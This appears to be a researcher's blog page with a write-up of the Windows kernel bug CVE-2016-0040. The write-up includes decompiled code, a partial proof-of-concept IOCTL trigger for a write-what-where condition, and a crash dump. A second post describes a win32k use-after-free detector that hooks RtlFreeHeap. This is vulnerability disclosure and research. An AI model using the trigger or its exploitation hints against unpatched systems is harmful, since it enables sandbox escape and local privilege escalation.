Skip to content

CVE-2016-0040 Story of uninitialized pointer


CVE-2016-0040 Credit to Me aka Meysam Firozi @R00tkitSMM

some month ago i found some vulnerabilities in windows kernel mostly Local privilege escalation

Microsoft patched on of the reported vulnerabilities in MS16-014

vulnerability type is uninitialized pointer dereference

vulnerability can be triggered even by process with “low integrity level” ,it’s means successfully exploiting of this vulnerability can lead to bypass sandbox( for example IE sandbox) or generic local privilege escalation for any process.

bug description:

for handling some WMI functions Windows NT Create named Device “WMIDataDevice” ,this device is accessible from user mode with any permission(you can check it with WinObj).
WMIDataDevice handle some IOCTLs, WmipReceiveNotifications function was responsible for IOCTL_WMI_ENUMERATE_GUIDS IOCTL.
based on first DWORD of Irp->AssociatedIrp.SystemBuffer WmipReceiveNotifications function decide to use Stack or kernel pool as buffer for storing data/pointer.
if first DWORD is less than or equal to 0x10 then stack selected as buffer ,

there was another important usage of mentioned DWORD , WmipReceiveNotifications use this DWORD as counter for looping and initializing Local Buffer,so its means if
we put 0 in first DWORD of Irp->AssociatedIrp.SystemBuffer from user mode so first function select stack as buffer ,and as i said this buffer initiated in loop.
in this case we passed 0 ,so function skip loop execution and stack buffer remain uninitialized.
we need bypass some other condition inside WmipReceiveNotifications to reach to vulnerability:

1) v16 come from user mode and need its value be 2

v16 = *(_DWORD *)(SystemBuffer + 4);

2) insert valid Handle for ObReferenceObjectByHandle in SystemBuffer

v39 = ObReferenceObjectByHandle(*(HANDLE *)(SystemBuffer + 16), 0x43Au, 0, 1, &PIRP, 0);

finally uninitialized local variable used as target pointer and function write a DWORD from SystemBuffer + 8 to it

we can control what is written but for manipulating uninitialized stack we need a good stack spray inside kernel

we can control what is written but for manipulating uninitialized stack we need a good stack spray inside kernel

v23 = *(_DWORD *)LocalBuffer;

*(_DWORD *)(v23 + 60) = *(_DWORD *)(SystemBuffer + 8); // write arbitrary data to uninitialized local variable or Write-what-where condition

using uninitialized local variable as pointer and write arbitrary data to where it point(for successfully exploiting this vulnerability attacker need to using stack spraying trick)
Write-what-where condition ( there was may way to exploit this condition ,zero ACL,SET token permission ,… )

bug advantages :

  • bug can be triggered in low integrity
  • don’t related to win32k.sys (ignore “Win32k system call disable policy” , for example chrome browser)
  • default OS configuration so universal sandbox bypass
     int __userpurge WmipReceiveNotifications @(int SystemBuffer @, unsigned int * OutputBufferSize, PVOID PIRP) {
         v4 = SystemBuffer;
         v5 = * OutputBufferSize;
         v6 = * (_DWORD * ) v4;
         v39 = -1073741811;
         v37 = v5;
         v36 = v6;
         if (v6 <= 0x10) // if first value inside buffer from user mode is less than or equal to 0x10 then use local stack so we pass 0 to force use local stack
             LocalBuffer =& v32;;
         } else {
             LocalBuffer = ExAllocatePoolWithTag(PagedPool, 8 * v6, 0x70696D57 u);
             if (!LocalBuffer)
                 return -1073741670;
         we don 't go inside this if because we use passed zero
         v42 = 0;
         v40 = 0;
         v38 = 0;
         v44 = 0;
         v41 = 0;
         if (v6) 
             do {
                 v39 = ObReferenceObjectByHandle( * (HANDLE * )(v4 + 8 * v41 + 24), 4 u, WmipGuidObjectType, 1,&Object, 0);
                 if (v39<0) goto LABEL_55;
                 v8 = Object;
                 v9 = 0;
                 if (v44) {
                     while (Object != * ((PVOID * ) LocalBuffer + 2 * v9)) {.......
         } // because v42 and v45 is set to 0 we also bypass this two if 
    if ( v42 == 1 ) { ... ... ... } 
    if ( v45 | BYTE3(PIRP) ) { v13 = v37; if ( v11 &v37 )
      * (_DWORD * )(v4 + 48) = v11; * (_DWORD * ) v4 = 56; * (_DWORD * )(v4 + 44) = 32; * OutputBufferSize = 56;
     //v16 come from user mode so we can set it's value 2 then lead code to here
     if (v16 != 2) 
             * OutputBufferSize = 0;
         goto LABEL_55;
     v39 = ObReferenceObjectByHandle( * (HANDLE * )(v4 + 16), 0x43A u, 0, 1,&PIRP, 0);
     if (v39 >= 0)
         v39 = ObOpenObjectByPointerWithTag((ULONG_PTR) PIRP, 512, 0, 0x1FFFFF, 0, 0, 1953261124, (int)&v35);
         if (v39>= 0)
             v23 = * (_DWORD * ) LocalBuffer; * (_DWORD * )(v23 + 60) = * (_DWORD * )(v4 + 8); // write arbitrary data from uninitialized local variable

    bug is here we forced using uninitialized local variable as pointer
    with good stack spraying we can write arbitrary data inside arbitrary address

                              mov ecx, [esi + 8]
             .text: 0041E D59 mov eax, [ebp + LocalBuffer]
             .text: 0041E D5C mov eax, [eax]
             .text: 0041E D5E mov[eax + 3 Ch], ecx // ecx is 0x41414141 and eax get from stack ;

    POC :

    typedef union {
        HANDLE Handle;
        ULONG64 Handle64;
        ULONG32 Handle32;
    HANDLE3264, * PHANDLE3264;
    typedef struct {
        // List of guid notification handles
        ULONG HandleCount;
        ULONG Action;
        HANDLE /* PUSER_THREAD_START_ROUTINE */ UserModeCallback;
        HANDLE3264 UserModeProcess;
        HANDLE3264 Handles[20];
    define RECEIVE_ACTION_CREATE_THREAD 2 // Mark guid objects as requiring
    typedef struct {
        IN VOID * ObjectAttributes;
        IN ACCESS_MASK DesiredAccess;
        OUT HANDLE3264 Handle;
    void main() {
        DWORD dwBytesReturned;
        HANDLE threadhandle;
        CHAR OutPut[1000];
        memset( & amp; buffer, '\x41', sizeof(buffer)); // set ecx to 0x41414141
        buffer.HandleCount = 0;
        buffer.Action = RECEIVE_ACTION_CREATE_THREAD;
        buffer.UserModeProcess.Handle = GetCurrentProcess(); 
        // using NtMapUserPhysicalPages for spraying stack cant help us
        if (hDriver != INVALID_HANDLE_VALUE) {
            while (TRUE) {
                if (!DeviceIoControl(hDriver, IOCTL_WMI_RECEIVE_NOTIFICATIONS, & amp; buffer, sizeof(buffer), & amp; OutPut, sizeof(OutPut), & amp; dwBytesReturned, NULL)) {

    windbg output:

    !analyze -v
    Connected to Windows 7 7600 x86 compatible target at (Sat Oct 24 18:24:12.679 2015 (UTC + 3:30)), ptr64 FALSE
    Loading Kernel Symbols
    Loading User Symbols
    Loading unloaded module list
    * *
    * Bugcheck Analysis *
    * *
    Unknown bugcheck code (0)
    Unknown bugcheck description
    Arg1: 00000000
    Arg2: 00000000
    Arg3: 00000000
    Arg4: 00000000
    Debugging Details:
    PROCESS_NAME: TestForBug.exe
    8162ee36 89483c mov dword ptr [eax+3Ch],ecx
    EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
    ExceptionAddress: 8162ee36 (nt!WmipReceiveNotifications+0x00000315)
    ExceptionCode: c0000005 (Access violation)
    ExceptionFlags: 00000000
    NumberParameters: 2
    Parameter[0]: 00000001
    Parameter[1]: 0000003c
    Attempt to write to address 0000003c
    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
    EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
    WRITE_ADDRESS: 0000003c
    8162ee36 89483c mov dword ptr [eax+3Ch],ecx // ecx is 0x41414141 , eax is from stack
    LAST_CONTROL_TRANSFER: from 81829152 to 8162ee36
    a8c0bb40 81829152 a8c0bb60 84b53760 8419d470 nt!WmipReceiveNotifications+0x315
    a8c0bbfc 8164f779 839cce40 83efadb8 83efadb8 nt!WmipIoControl+0x413
    a8c0bc14 8185283e 8419d470 83efadb8 83efafd8 nt!IofCallDriver+0x63
    a8c0bc34 8186f6ea 839cce40 8419d470 00000000 nt!IopSynchronousServiceTail+0x1f8
    a8c0bcd0 81871ec6 839cce40 83efadb8 00000000 nt!IopXxxControlFile+0x6aa
    a8c0bd04 81656746 0000001c 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
    a8c0bd04 773964f4 0000001c 00000000 00000000 nt!KiSystemServicePostCall
    00386fb8 77394cac 756aa08f 0000001c 00000000 ntdll!KiFastSystemCallRet
    00386fbc 756aa08f 0000001c 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc
    0038701c 75faec25 0000001c 00228144 00387078 KERNELBASE!DeviceIoControl+0xf6
    00387048 00191098 0000001c 00228144 00387078 kernel32!DeviceIoControlImplementation+0x80
    0039f7d8 00191228 00000001 00661318 006618a8 TestForBug!main+0x98
    0039f81c 75fb1174 7ffd4000 0039f868 773ab3f5 TestForBug!__tmainCRTStartup+0x122
    0039f828 773ab3f5 7ffd4000 777c1ab9 00000000 kernel32!BaseThreadInitThunk+0xe
    0039f868 773ab3c8 00191349 7ffd4000 00000000 ntdll!__RtlUserThreadStart+0x70
    0039f880 00000000 00191349 7ffd4000 00000000 ntdll!_RtlUserThreadStart+0x1b
    SYMBOL_NAME: nt!WmipReceiveNotifications+315
    FOLLOWUP_NAME: MachineOwner
    IMAGE_NAME: ntkrpamp.exe
    FAILURE_BUCKET_ID: ACCESS_VIOLATION_nt!WmipReceiveNotifications+315
    BUCKET_ID: ACCESS_VIOLATION_nt!WmipReceiveNotifications+315
    Followup: MachineOwner

    because stack address was too deep it’s hard to modify its content with spraying so Stack spraying was a good challenge for readers

    for more Exploit and POC visit my Github

Win32k.sys Fuzzer


there are a number of vulnerability classes which don’t explicitly manifest themselves in the kernel and one of them is UAF in win32k.sys, Win32k.sys for Windows is like Java for internet.
i try to implement “Use After Free” detector/fuzzer for win32k.sys

this project have two part:

  • UAF detector in Win32k
  • Win32k.sys fuzzer

    So i just publish First part

    in this days 0 day in kernel is more valuable than before because of limitation forced by sandboxes , every RCE Exploit need second phrase to bypass this Limitation to gain full system access.

    many published local privilege escalation vulnerabilities is based on Bug in Win32k and how it handle/use Objects , in most vulnerabilities win32k use freed memory that lead to use after free vulnerabilities.

    Win32 object allocation : based on Object type win32 with help of HMAllocObject function use heap or Pool for Allocating memory for object

    int __stdcall HMAllocObject(int a1, PVOID Object, char a3, ULONG Size)
      if ( v5 & 0x10 && Object )
        v7 = DesktopAlloc((int)Object, Size, ((unsigned __int8)a3 << 16) | 5);
        if ( !v7 )
          return 0;
        LockObjectAssignment(v7 + 12, Object);
        *(_DWORD *)(v7 + 16) = v7;
        if ( v5 & 0x40 )
          v8 = SharedAlloc(Size);
          v9 = !Object && v5 & 0x20;
          if ( !(v5 & 8) || v9 )
            v8 = Win32AllocPoolWithTagZInit(Size, dword_BF9F191C[v4]);
            v8 = Win32AllocPoolWithQuotaTagZInit(Size, dword_BF9F191C[v4]);
        v7 = v8;
  • DesktopAlloc ( Heap )
  • SharedAlloc ( Heap )
  • Win32AllocPoolWithQuotaTagZInit, Win32AllocPoolWithTagZInit (Pool )

    for example Menu object use DesktopAlloc and Accelerator use Pool.

    for objects that use Heap memory ,when object life end, OS call RtlFreeHeap to free used memory,after RtlFreeHeap return freed memory still have old/valid contents, so if other part of win32k.sys use freed memory nothing will happen because it use memory with old contents ( no BSOD ) and we will miss Bug. until now researchers just find this kind of bugs with reverse engineering . they must allocate object in same size to produce crash. and how know when OS will use freed memory ?

    in user mode code we can use gflags to enable page Heap

    gflags.exe /i iexplore.exe +hpa +ust to to enable the page Heap (HPA)

    we also can enable page Heap system wide bug this dont effect Heap implementation in kernel thre was also “special pool” that can be enable with verifier but it dont help us for Heap based objects/memory.

    so my idea is patching RtlFreeHeap and fill freed memory with invalid content like 0c0c0c0c . for finding Heap chunk size i used unexported function RtlSizeHeap(thanks @ponez for finding this function)

    __declspec(naked) my_function_detour_RtlFreeHeap()
        //PVOID  func=RtlSizeHeap;;
            // exec missing instructions
            mov     edi,edi
            push    ebp
            mov     ebp,esp
            push    ebx
            mov     ebx,dword ptr [ebp+10h]
            int 3;
            BOOLEAN RtlFreeHeap
            IN PVOID  HeapHandle,
            IN ULONG  Flags,
            IN PVOID  HeapBase
            mov     ebx,dword ptr [ebp+10h] get HeapBase  
            PUSH dword ptr [ebp+10h]
            PUSH dword ptr [ebp+0Ch]
            PUSH dword ptr [ebp+08h]
            call RtlSizeHeap;
            sub  ecx,ecx;
            mov ecx, eax; // size from RtlSizeHeap
            mov eax, 0x0c
            mov edi, ebx; // address of heap chunk
            rep stos byte ptr es:[edi]

    with help of this function we can detect when win32k use freed heap memory. we can also automatically find out how OS useing freed memory(does it use free memory to write/read/execute? )

    i cheked this Detector with some old UAF vulnerabilities in Win32k and Driver detect UAF in win32k.sys. maybe ther was another was to do this!?(i dont know maybe with gflags we can enable page heap for kernel)

    Source code

  • Hello world!

        printf("Hello World");